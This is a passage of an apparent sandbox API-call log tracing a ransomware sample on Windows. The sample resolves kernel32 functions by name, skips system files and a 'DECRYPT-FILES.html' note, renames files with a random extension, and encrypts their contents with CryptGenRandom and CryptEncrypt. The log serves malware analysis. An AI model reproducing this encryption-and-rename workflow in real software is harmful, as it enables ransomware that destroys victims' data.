[0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.028] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.028] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.028] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.028] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.028] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.028] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.028] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.028] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.028] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.028] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.028] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.028] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.028] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.028] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.028] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.028] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.028] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.028] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.029] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.029] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.029] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.029] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.029] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.029] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.029] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.029] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.029] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.029] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.029] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.029] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.029] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.029] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.029] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.029] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.029] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.029] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.029] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.030] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.030] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\eula.rtf.Q6M1wuM") returned 43 [0118.030] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.Q6M1wuM" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.q6m1wum"), dwFlags=0x0) returned 1 [0118.030] VirtualFree (lpAddress=0x3c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.031] VirtualFree (lpAddress=0x3c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.031] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.031] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0118.031] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0118.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\") returned 27 [0118.031] lstrlenW (lpString="LocalizedData.xml") returned 17 [0118.031] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1030\\" | out: lpString1="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0118.031] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" [0118.032] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0118.032] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0118.032] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=77748) returned 1 [0118.032] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0118.032] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3c60000 [0118.248] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x38c0000 | out: pbBuffer=0x38c0000) returned 1 [0118.248] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x38c0020 | out: pbBuffer=0x38c0020) returned 1 [0118.248] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3c90000 [0118.248] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c90000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3c90000*, pdwDataLen=0x38be718*=0x100) returned 1 [0118.249] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3ca0000 [0118.370] VirtualFree (lpAddress=0x3ca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.370] UnmapViewOfFile (lpBaseAddress=0x3c60000) returned 1 [0118.371] CloseHandle (hObject=0x5f8) returned 1 [0118.371] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.371] WriteFile (in: hFile=0x5f4, lpBuffer=0x3c90000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3c90000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0118.372] CloseHandle (hObject=0x0) returned 0 [0118.372] CloseHandle (hObject=0x5f4) returned 1 [0118.374] VirtualFree (lpAddress=0x3c90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.375] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.375] GetTickCount () returned 0x33087 [0118.375] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0118.375] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0118.375] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3c60000 [0118.376] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3c70000 [0118.376] lstrlenA (lpString="kernel32.dll") returned 12 [0118.376] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0118.376] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.376] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.377] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.377] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.377] lstrlenA (lpString="ADDATOMA") returned 8 [0118.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.377] lstrlenA (lpString="ADDATOMW") returned 8 [0118.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.377] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.377] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.377] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.377] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.399] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.399] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.399] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.399] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.399] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.399] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.399] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.399] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.399] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.399] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.399] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.399] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.400] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.400] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.400] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.400] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.400] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.400] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.400] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.400] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.400] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.400] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.400] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.400] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.400] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.400] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.400] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.400] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.401] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.401] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.401] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.401] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.401] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.401] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.401] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.401] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.401] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.401] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.401] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.401] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.401] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.401] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.401] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.401] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.401] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.402] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.402] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.402] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.402] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.402] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.402] 